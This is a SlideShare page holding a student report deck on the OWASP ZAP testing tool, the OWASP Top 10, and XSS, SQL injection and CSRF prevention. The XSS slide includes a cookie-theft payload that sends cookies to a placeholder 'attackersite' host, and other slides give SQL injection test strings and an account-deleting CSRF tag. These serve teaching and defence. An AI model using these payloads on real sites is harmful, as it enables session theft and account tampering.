SlideShare a Scribd company logo
1 of 38
THE OWASP
ZED ATTACK PROXY
Research and Development Project
Final Report
Submitted By:-
Pallav Dhobley 09005012
Aditya Gupta 09005017
WARNING
Security Testing is VERY ILLEGAL ON
UNAUTHORIZED SYSTEMS
Overview
• Introduction
• OWASP Top 10 Application Security Risks – 2010
• Setting up the Environment
• Functioning of ZAP
• Conclusion
• References
INTRODUCTION
About OWASP
• Full form: Open Web Application Security Project
• An open-source application security project
• Works to create freely-available
• Articles
• Methodologies
• Documentation
• Tools, and
• Technologies
Features of OWASP
• It provides free and open source
• Application security tools and standards
• Complete books on application security testing, secure code
development, and security code review
• Standard security controls and libraries
• Local chapters worldwide
• Cutting edge research
• Extensive conferences worldwide
• Mailing lists
History of OWASP
• OWASP was started on September 9, 2001
• It was started by Mark Curphey and Dennis Groves.
• Since late 2003, Jeff Williams served as the volunteer
Chair of OWASP until September 2011.
• The current chair is Michael Coates, and vice chair
is Eoin Keary.
• The OWASP Foundation was established in 2004 and
supports the OWASP infrastructure and projects
OWASP-Zed Attack Proxy
• The Zed Attack Proxy (ZAP) is penetration testing tool for
finding vulnerabilities in web applications.
• Designed to be used by people with a wide range of
security experience
• Ideal for new developers and functional testers who are
new to penetration testing
• Useful addition to an experienced pen testers toolbox
• Released September 2010
• Current Version -: 2.0.0
ZAP Principles
• Free, Open source
• Cross platform
• Easy to use
• Easy to install
• Internationalized
• Fully documented
• Involvement actively encouraged
• Reuse well regarded components
Features of ZAP
• Intercepting proxy
• Automated scanner
• Passive scanner
• Brute force scanner
• Spider
• Fuzzer
• Port scanner
• Dynamic SSL Certificates
• API
• Beanshell integration
OWASP TOP 10
APPLICATION
SECURITY RISKS
Top 10 Application Security Risks
• A1 – Injection
• A2 – Cross-Site Scripting (XSS)
• A3 – Broken Authentication and Session Management
• A4 – Insecure Direct Object References
• A5 – Cross-Site Request Forgery (CSRF)
• A6 – Security Misconfiguration
• A7 – Insecure Cryptographic Storage
• A8 – Failure to Restrict URL Access
• A9 – Insufficient Transport Layer Protection
• A10 – Invalidated Redirects and Forwards
XSS - Cross Site Scripting
• Problem: User controlled data returned in HTTP
response contains HTML/JavaScript code
• Impact: Session Hijacking, Full Control of
Page, Malicious Redirects
• Basic XSS Test:"
><script>alert(document.cookie)</script>
• Cookie Theft Example:
"><script>document.location='http://attackersite/
'+document.cookie</script>
Types of XSS
• Stored XSS Attacks
• The injected code is permanently stored on the target servers
• Reflected XSS Attacks
• Injected code is reflected off the web server, such as in an error
message, search result, or any other response
• DOM Based XSS
• Attack payload is executed as a result of modifying the DOM
“environment” in the victim‟s browser used by the original client
side script
Prevention of XSS
• Solution
• Output Encoding
• converts command characters to benign characters
• Input Validation
• Example
• <script> becomes &lt;script&gt;
< &lt
> &gt
“ &quote
„ &#x27
& HTML ENCODING &amp
SQL Injection
• Problem: Incorrectly validated or non-validated string
literals are concatenated into a dynamic SQL
statement, and interpreted as code by the SQL engine.
• Impact: Arbitrary SQL Execution, Data Corruption, Data
Theft
• Basic SQL Injection Tests:
• OR 1=1 --' OR '1'= '1'--
• Example Vulnerable Query:
• sqlQ = “Select user from UserTable where name= '+username+ '
and pass = '+password+ ' ”
Types of SQL Injections
• First Order Attack
• The attacker can simply enter a malicious string and cause the
modified code to be executed immediately.
• Second Order Attack
• The attacker injects into persistent storage (such as a table row)
which is deemed as a trusted source. An attack is subsequently
executed by another activity.
• Lateral Injection.
• The attacker can manipulate the implicit functionTo_Char() by
changing the values of the environment variables
Prevention of SQL Injection
• Reduce the attack surface.
• Ensure that all excess database privileges are revoked
• Avoid dynamic SQL with concatenated input
• Use bind arguments.
• Filter and sanitize input.
• The Oracle-supplied DBMS_ASSERT package contains a number
of functions that can be used to sanitize user input
Cross Site Request Forgery (CSRF)
• Problem:
• Browser cannot distinguish between user initiated actions and
automated actions
• Websites process valid requests that are authorized to user and
contain user session id
• Impact:
• Attacker can perform arbitrary actions with victim user‟s account on
third party site.
• Not traceable, logs show user performed these actions.
• Basic CSRF Test:
• <img src=”http://targetsite/?action=deleteAccount”></img>
Prevention Measures That Do NOT Work
• Using a Secret Cookie
• Only Accepting POST Requests
• Multi-Step Transactions
• URL Rewriting
Prevention of CSRF
• Preventing CSRF requires the inclusion of an
unpredictable token in the body or URL of each HTTP
request
• Such tokens should at a minimum be unique per user
session, but can also be unique per request.
• The preferred option is to include the unique token in a hidden field.
• The unique token can also be included in the URL itself, or a URL
parameter
SETTING UP THE
ENVIRONMENT
Installation and Configuration of ZAP
• Download Link:
• http://code.google.com/p/zaproxy/downloads/list
• Zap runs on proxy. To set up the proxy in ZAP
• go to TOOLS > OPTIONS > LOCAL PROXY in ZAP
• Same configuration in the browser too
Setting Up Web Security Learning Lab
• Required Software
• Virtual Machine Software
• OWASP Broken Web Apps VM
• Web Proxy - Recommend OWASP Zap Proxy
• Web Proxy - Alternative Burp Proxy
• Browser - Recommend Firefox
• Optional - Browser Plugins
• Firebug
• Firecookie
• Installation instructions are written in the final report
FUNCTIONING OF ZAP
Functioning of ZAP
• Intercepting the traffic
• Traditional and AJAX spiders
• Automated scanners
• Analysing the scan results
• Reporting
Intercepting the traffic
• Configure the browser to use ZAP proxy server on
localhost
• Can intercept all traffic to a user specified
website/server
• Can click on any link on the site to observe the captured
request
• Can modify this request before forwarding it to the
server
• The response can also be intercepted before forwarding
it to the browser
Spidering
• ZAP spider is needed to crawl links that are not directly
visible
• It automatically discovers and explores the hidden links
for a site
• Newly discovered URLs are shown
• URLs whose domain is different from target are also listed
Scanning the website
• Active Scanning
• Can select a site to be attacked under the „Attack‟ section
• Tool actually attacks the application in all possible ways to find out
all possible vulnerabilities
• Some of the issues active scan looks for are :
• Cross Site Scripting
• SQL Injection
• External Redirect
• Parameter tampering
• Directory browsing
• All findings shown under „Alerts‟ tab
Scanning the website
• Passive scanning
• Unlike active scanning, passive scanning does not change any
responses coming from server
• Only looks at responses to identify vulnerabilities
• Safe to use
• Some of the issues passive scanning looks for :
• Incomplete or no cache-control and pragma HTTP Header set
• Cross-domain JavaScript source file inclusion
• Cross Site Request Forgery
• Password Autocomplete in browser
• Weak authentication
Analysis and Reporting
• No tool‟s report is free from false positives
• Security analyst can determine which vulnerabilities are
false positives
• It also shows the level of threat associated with the
vulnerability
• High, Medium, Low
• Analysed results are used to generate the report
• Can generate a detailed report of all vulnerabilities; can
be exported to HTML file and viewed in a browser
Other ZAP features
• Port Scan
• This feature scans open ports on the target site and lists them
accordingly
• Encode/Decode Hash
• This feature is used to encode/ decode the text entered
• Fuzzing
• Fuzzing is the process of sending invalid and unexpected input to
the application to observe the behaviour
• Extensions for ZAP
• ZAP has plugins like LDAP Injection, session fixation etc. and many
others that can be found on
• http://code.google.com/p/zap-extensions/
CONCLUSION
ZAP- Firefox of Web Security
• ZAP is a free, open-source community developed tool
aimed at making the online world more secure
• Some of the ideals that have driven ZAP are listed below
• Help users develop and apply application security skills
• Build a competitive, open source, and community oriented platform
• Provide an extensible platform for testing
• Designed to be easy to use
• Raise the bar for other security tools
Future of ZAP
• Enhance scanners to detect more vulnerabilities
• Extend API, better integration
• Fuzzing analysis
• Easier to use, better help
References
• Open Web Application Security Project
• https://www.owasp.org/index.php/Main_Page
• OWASP Top Ten Project
• https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Proj
ect
• Cross-site Scripting (XSS)
• https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
• OWASP Zed Attack Proxy Project
• https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Proj
ect
• Zaproxy :
• https://code.google.com/p/zaproxy/
References (contd.)
• ZAP Blog:
• http://zaproxy.blogspot.co.uk/
• Penetration Testing For Developers
• http://pentest4devs.blogspot.in/2010/09/exploring-web-application-
with-zap.html
• Setting Up Web Security Learning Lab
• http://people.mozilla.org/~mcoates/WebSecurityLab.html
• Webgoat:
• https://www.owasp.org/index.php/OWASP_WebGoat_Project
THANK YOU !!!
Questions ?

More Related Content

What's hot

Security testing presentation
Security testing presentationSecurity testing presentation
Security testing presentation
Confiz
 

What's hot (20)

Security testing
Security testingSecurity testing
Security testing
 
2021 ZAP Automation in CI/CD
2021 ZAP Automation in CI/CD2021 ZAP Automation in CI/CD
2021 ZAP Automation in CI/CD
 
Pentesting Using Burp Suite
Pentesting Using Burp SuitePentesting Using Burp Suite
Pentesting Using Burp Suite
 
Getting Started with API Security Testing
Getting Started with API Security TestingGetting Started with API Security Testing
Getting Started with API Security Testing
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
 
OWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA TestersOWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA Testers
 
Zed Attack Proxy (ZAP)
Zed Attack Proxy (ZAP)Zed Attack Proxy (ZAP)
Zed Attack Proxy (ZAP)
 
Security testing presentation
Security testing presentationSecurity testing presentation
Security testing presentation
 
Burp suite
Burp suiteBurp suite
Burp suite
 
DAST in CI/CD pipelines using Selenium & OWASP ZAP
DAST in CI/CD pipelines using Selenium & OWASP ZAPDAST in CI/CD pipelines using Selenium & OWASP ZAP
DAST in CI/CD pipelines using Selenium & OWASP ZAP
 
Frans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides AhmedabadFrans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides Ahmedabad
 
Api testing
Api testingApi testing
Api testing
 
OWASP Top 10 2021 What's New
OWASP Top 10 2021 What's NewOWASP Top 10 2021 What's New
OWASP Top 10 2021 What's New
 
OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016
 
Automating security test using Selenium and OWASP ZAP - Practical DevSecOps
Automating security test using Selenium and OWASP ZAP - Practical DevSecOpsAutomating security test using Selenium and OWASP ZAP - Practical DevSecOps
Automating security test using Selenium and OWASP ZAP - Practical DevSecOps
 
API Testing
API TestingAPI Testing
API Testing
 
OWASP Secure Coding
OWASP Secure CodingOWASP Secure Coding
OWASP Secure Coding
 
Security testing
Security testingSecurity testing
Security testing
 
Owasp top 10 vulnerabilities
Owasp top 10 vulnerabilitiesOwasp top 10 vulnerabilities
Owasp top 10 vulnerabilities
 

Similar to The OWASP Zed Attack Proxy

Lesson 6 web based attacks
Lesson 6 web based attacksLesson 6 web based attacks
Lesson 6 web based attacks
Frank Victory
 
Towards a More Secure, Reliable, and Performant Web: Tools / Approaches to Help
Towards a More Secure, Reliable, and Performant Web: Tools / Approaches to HelpTowards a More Secure, Reliable, and Performant Web: Tools / Approaches to Help
Towards a More Secure, Reliable, and Performant Web: Tools / Approaches to Help
Stephen Donner
 

Similar to The OWASP Zed Attack Proxy (20)

Security testautomation
Security testautomationSecurity testautomation
Security testautomation
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Application Security Tools
Application Security ToolsApplication Security Tools
Application Security Tools
 
OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017
OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017
OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017
 
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017 OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
 
Web hackingtools cf-summit2014
Web hackingtools cf-summit2014Web hackingtools cf-summit2014
Web hackingtools cf-summit2014
 
Do you lose sleep at night?
Do you lose sleep at night?Do you lose sleep at night?
Do you lose sleep at night?
 
Top 10 web application security risks akash mahajan
Top 10 web application security risks   akash mahajanTop 10 web application security risks   akash mahajan
Top 10 web application security risks akash mahajan
 
Cyber ppt
Cyber pptCyber ppt
Cyber ppt
 
Web hackingtools 2015
Web hackingtools 2015Web hackingtools 2015
Web hackingtools 2015
 
Web hackingtools 2015
Web hackingtools 2015Web hackingtools 2015
Web hackingtools 2015
 
Lesson 6 web based attacks
Lesson 6 web based attacksLesson 6 web based attacks
Lesson 6 web based attacks
 
How to Test for The OWASP Top Ten
 How to Test for The OWASP Top Ten How to Test for The OWASP Top Ten
How to Test for The OWASP Top Ten
 
Owasp top 10 2017
Owasp top 10 2017Owasp top 10 2017
Owasp top 10 2017
 
Hacker Proof web app using Functional tests
Hacker Proof web  app using Functional testsHacker Proof web  app using Functional tests
Hacker Proof web app using Functional tests
 
How to Harden the Security of Your .NET Website
How to Harden the Security of Your .NET WebsiteHow to Harden the Security of Your .NET Website
How to Harden the Security of Your .NET Website
 
Automated tools for penetration testing
Automated tools for penetration testingAutomated tools for penetration testing
Automated tools for penetration testing
 
Ten Commandments of Secure Coding - OWASP Top Ten Proactive Controls
Ten Commandments of Secure Coding - OWASP Top Ten Proactive ControlsTen Commandments of Secure Coding - OWASP Top Ten Proactive Controls
Ten Commandments of Secure Coding - OWASP Top Ten Proactive Controls
 
Ten Commandments of Secure Coding
Ten Commandments of Secure CodingTen Commandments of Secure Coding
Ten Commandments of Secure Coding
 
Towards a More Secure, Reliable, and Performant Web: Tools / Approaches to Help
Towards a More Secure, Reliable, and Performant Web: Tools / Approaches to HelpTowards a More Secure, Reliable, and Performant Web: Tools / Approaches to Help
Towards a More Secure, Reliable, and Performant Web: Tools / Approaches to Help
 

More from Aditya Gupta (6)

An Information System For Tum Tums presentation-3
An Information System For Tum Tums presentation-3An Information System For Tum Tums presentation-3
An Information System For Tum Tums presentation-3
 
An information system for tum tums presentation-1
An information system for tum tums presentation-1An information system for tum tums presentation-1
An information system for tum tums presentation-1
 
An information system for tum tums presentation-2
An information system for tum tums presentation-2An information system for tum tums presentation-2
An information system for tum tums presentation-2
 
Managing Dynamic Shared state
Managing Dynamic Shared stateManaging Dynamic Shared state
Managing Dynamic Shared state
 
Secure instant messanger service
Secure instant messanger serviceSecure instant messanger service
Secure instant messanger service
 
Ai and law
Ai and lawAi and law
Ai and law
 

Recently uploaded

1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdf
QucHHunhnh
 
The basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptxThe basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptx
heathfieldcps1
 
Salient Features of India constitution especially power and functions
Salient Features of India constitution especially power and functionsSalient Features of India constitution especially power and functions
Salient Features of India constitution especially power and functions
KarakKing
 
Activity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdfActivity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdf
ciinovamais
 

Recently uploaded (20)

1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdf
 
This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.
 
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdfUGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
 
Making communications land - Are they received and understood as intended? we...
Making communications land - Are they received and understood as intended? we...Making communications land - Are they received and understood as intended? we...
Making communications land - Are they received and understood as intended? we...
 
Mixin Classes in Odoo 17 How to Extend Models Using Mixin Classes
Mixin Classes in Odoo 17  How to Extend Models Using Mixin ClassesMixin Classes in Odoo 17  How to Extend Models Using Mixin Classes
Mixin Classes in Odoo 17 How to Extend Models Using Mixin Classes
 
Sociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning ExhibitSociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning Exhibit
 
The basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptxThe basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptx
 
Unit-IV; Professional Sales Representative (PSR).pptx
Unit-IV; Professional Sales Representative (PSR).pptxUnit-IV; Professional Sales Representative (PSR).pptx
Unit-IV; Professional Sales Representative (PSR).pptx
 
Understanding Accommodations and Modifications
Understanding  Accommodations and ModificationsUnderstanding  Accommodations and Modifications
Understanding Accommodations and Modifications
 
Unit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptxUnit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptx
 
Application orientated numerical on hev.ppt
Application orientated numerical on hev.pptApplication orientated numerical on hev.ppt
Application orientated numerical on hev.ppt
 
Salient Features of India constitution especially power and functions
Salient Features of India constitution especially power and functionsSalient Features of India constitution especially power and functions
Salient Features of India constitution especially power and functions
 
General Principles of Intellectual Property: Concepts of Intellectual Proper...
General Principles of Intellectual Property: Concepts of Intellectual  Proper...General Principles of Intellectual Property: Concepts of Intellectual  Proper...
General Principles of Intellectual Property: Concepts of Intellectual Proper...
 
SOC 101 Demonstration of Learning Presentation
SOC 101 Demonstration of Learning PresentationSOC 101 Demonstration of Learning Presentation
SOC 101 Demonstration of Learning Presentation
 
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
 
Mehran University Newsletter Vol-X, Issue-I, 2024
Mehran University Newsletter Vol-X, Issue-I, 2024Mehran University Newsletter Vol-X, Issue-I, 2024
Mehran University Newsletter Vol-X, Issue-I, 2024
 
Activity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdfActivity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdf
 
How to Give a Domain for a Field in Odoo 17
How to Give a Domain for a Field in Odoo 17How to Give a Domain for a Field in Odoo 17
How to Give a Domain for a Field in Odoo 17
 
Spatium Project Simulation student brief
Spatium Project Simulation student briefSpatium Project Simulation student brief
Spatium Project Simulation student brief
 
ICT role in 21st century education and it's challenges.
ICT role in 21st century education and it's challenges.ICT role in 21st century education and it's challenges.
ICT role in 21st century education and it's challenges.
 

The OWASP Zed Attack Proxy

  • 1. THE OWASP ZED ATTACK PROXY Research and Development Project Final Report Submitted By:- Pallav Dhobley 09005012 Aditya Gupta 09005017
  • 2. WARNING Security Testing is VERY ILLEGAL ON UNAUTHORIZED SYSTEMS
  • 3. Overview • Introduction • OWASP Top 10 Application Security Risks – 2010 • Setting up the Environment • Functioning of ZAP • Conclusion • References
  • 5. About OWASP • Full form: Open Web Application Security Project • An open-source application security project • Works to create freely-available • Articles • Methodologies • Documentation • Tools, and • Technologies
  • 6. Features of OWASP • It provides free and open source • Application security tools and standards • Complete books on application security testing, secure code development, and security code review • Standard security controls and libraries • Local chapters worldwide • Cutting edge research • Extensive conferences worldwide • Mailing lists
  • 7. History of OWASP • OWASP was started on September 9, 2001 • It was started by Mark Curphey and Dennis Groves. • Since late 2003, Jeff Williams served as the volunteer Chair of OWASP until September 2011. • The current chair is Michael Coates, and vice chair is Eoin Keary. • The OWASP Foundation was established in 2004 and supports the OWASP infrastructure and projects
  • 8. OWASP-Zed Attack Proxy • The Zed Attack Proxy (ZAP) is penetration testing tool for finding vulnerabilities in web applications. • Designed to be used by people with a wide range of security experience • Ideal for new developers and functional testers who are new to penetration testing • Useful addition to an experienced pen testers toolbox • Released September 2010 • Current Version -: 2.0.0
  • 9. ZAP Principles • Free, Open source • Cross platform • Easy to use • Easy to install • Internationalized • Fully documented • Involvement actively encouraged • Reuse well regarded components
  • 10. Features of ZAP • Intercepting proxy • Automated scanner • Passive scanner • Brute force scanner • Spider • Fuzzer • Port scanner • Dynamic SSL Certificates • API • Beanshell integration
  • 12. Top 10 Application Security Risks • A1 – Injection • A2 – Cross-Site Scripting (XSS) • A3 – Broken Authentication and Session Management • A4 – Insecure Direct Object References • A5 – Cross-Site Request Forgery (CSRF) • A6 – Security Misconfiguration • A7 – Insecure Cryptographic Storage • A8 – Failure to Restrict URL Access • A9 – Insufficient Transport Layer Protection • A10 – Invalidated Redirects and Forwards
  • 13. XSS - Cross Site Scripting • Problem: User controlled data returned in HTTP response contains HTML/JavaScript code • Impact: Session Hijacking, Full Control of Page, Malicious Redirects • Basic XSS Test:" ><script>alert(document.cookie)</script> • Cookie Theft Example: "><script>document.location='http://attackersite/ '+document.cookie</script>
  • 14. Types of XSS • Stored XSS Attacks • The injected code is permanently stored on the target servers • Reflected XSS Attacks • Injected code is reflected off the web server, such as in an error message, search result, or any other response • DOM Based XSS • Attack payload is executed as a result of modifying the DOM “environment” in the victim‟s browser used by the original client side script
  • 15. Prevention of XSS • Solution • Output Encoding • converts command characters to benign characters • Input Validation • Example • <script> becomes &lt;script&gt; < &lt > &gt “ &quote „ &#x27 & HTML ENCODING &amp
  • 16. SQL Injection • Problem: Incorrectly validated or non-validated string literals are concatenated into a dynamic SQL statement, and interpreted as code by the SQL engine. • Impact: Arbitrary SQL Execution, Data Corruption, Data Theft • Basic SQL Injection Tests: • OR 1=1 --' OR '1'= '1'-- • Example Vulnerable Query: • sqlQ = “Select user from UserTable where name= '+username+ ' and pass = '+password+ ' ”
  • 17. Types of SQL Injections • First Order Attack • The attacker can simply enter a malicious string and cause the modified code to be executed immediately. • Second Order Attack • The attacker injects into persistent storage (such as a table row) which is deemed as a trusted source. An attack is subsequently executed by another activity. • Lateral Injection. • The attacker can manipulate the implicit functionTo_Char() by changing the values of the environment variables
  • 18. Prevention of SQL Injection • Reduce the attack surface. • Ensure that all excess database privileges are revoked • Avoid dynamic SQL with concatenated input • Use bind arguments. • Filter and sanitize input. • The Oracle-supplied DBMS_ASSERT package contains a number of functions that can be used to sanitize user input
  • 19. Cross Site Request Forgery (CSRF) • Problem: • Browser cannot distinguish between user initiated actions and automated actions • Websites process valid requests that are authorized to user and contain user session id • Impact: • Attacker can perform arbitrary actions with victim user‟s account on third party site. • Not traceable, logs show user performed these actions. • Basic CSRF Test: • <img src=”http://targetsite/?action=deleteAccount”></img>
  • 20. Prevention Measures That Do NOT Work • Using a Secret Cookie • Only Accepting POST Requests • Multi-Step Transactions • URL Rewriting
  • 21. Prevention of CSRF • Preventing CSRF requires the inclusion of an unpredictable token in the body or URL of each HTTP request • Such tokens should at a minimum be unique per user session, but can also be unique per request. • The preferred option is to include the unique token in a hidden field. • The unique token can also be included in the URL itself, or a URL parameter
  • 23. Installation and Configuration of ZAP • Download Link: • http://code.google.com/p/zaproxy/downloads/list • Zap runs on proxy. To set up the proxy in ZAP • go to TOOLS > OPTIONS > LOCAL PROXY in ZAP • Same configuration in the browser too
  • 24. Setting Up Web Security Learning Lab • Required Software • Virtual Machine Software • OWASP Broken Web Apps VM • Web Proxy - Recommend OWASP Zap Proxy • Web Proxy - Alternative Burp Proxy • Browser - Recommend Firefox • Optional - Browser Plugins • Firebug • Firecookie • Installation instructions are written in the final report
  • 26. Functioning of ZAP • Intercepting the traffic • Traditional and AJAX spiders • Automated scanners • Analysing the scan results • Reporting
  • 27. Intercepting the traffic • Configure the browser to use ZAP proxy server on localhost • Can intercept all traffic to a user specified website/server • Can click on any link on the site to observe the captured request • Can modify this request before forwarding it to the server • The response can also be intercepted before forwarding it to the browser
  • 28. Spidering • ZAP spider is needed to crawl links that are not directly visible • It automatically discovers and explores the hidden links for a site • Newly discovered URLs are shown • URLs whose domain is different from target are also listed
  • 29. Scanning the website • Active Scanning • Can select a site to be attacked under the „Attack‟ section • Tool actually attacks the application in all possible ways to find out all possible vulnerabilities • Some of the issues active scan looks for are : • Cross Site Scripting • SQL Injection • External Redirect • Parameter tampering • Directory browsing • All findings shown under „Alerts‟ tab
  • 30. Scanning the website • Passive scanning • Unlike active scanning, passive scanning does not change any responses coming from server • Only looks at responses to identify vulnerabilities • Safe to use • Some of the issues passive scanning looks for : • Incomplete or no cache-control and pragma HTTP Header set • Cross-domain JavaScript source file inclusion • Cross Site Request Forgery • Password Autocomplete in browser • Weak authentication
  • 31. Analysis and Reporting • No tool‟s report is free from false positives • Security analyst can determine which vulnerabilities are false positives • It also shows the level of threat associated with the vulnerability • High, Medium, Low • Analysed results are used to generate the report • Can generate a detailed report of all vulnerabilities; can be exported to HTML file and viewed in a browser
  • 32. Other ZAP features • Port Scan • This feature scans open ports on the target site and lists them accordingly • Encode/Decode Hash • This feature is used to encode/ decode the text entered • Fuzzing • Fuzzing is the process of sending invalid and unexpected input to the application to observe the behaviour • Extensions for ZAP • ZAP has plugins like LDAP Injection, session fixation etc. and many others that can be found on • http://code.google.com/p/zap-extensions/
  • 34. ZAP- Firefox of Web Security • ZAP is a free, open-source community developed tool aimed at making the online world more secure • Some of the ideals that have driven ZAP are listed below • Help users develop and apply application security skills • Build a competitive, open source, and community oriented platform • Provide an extensible platform for testing • Designed to be easy to use • Raise the bar for other security tools
  • 35. Future of ZAP • Enhance scanners to detect more vulnerabilities • Extend API, better integration • Fuzzing analysis • Easier to use, better help
  • 36. References • Open Web Application Security Project • https://www.owasp.org/index.php/Main_Page • OWASP Top Ten Project • https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Proj ect • Cross-site Scripting (XSS) • https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) • OWASP Zed Attack Proxy Project • https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Proj ect • Zaproxy : • https://code.google.com/p/zaproxy/
  • 37. References (contd.) • ZAP Blog: • http://zaproxy.blogspot.co.uk/ • Penetration Testing For Developers • http://pentest4devs.blogspot.in/2010/09/exploring-web-application- with-zap.html • Setting Up Web Security Learning Lab • http://people.mozilla.org/~mcoates/WebSecurityLab.html • Webgoat: • https://www.owasp.org/index.php/OWASP_WebGoat_Project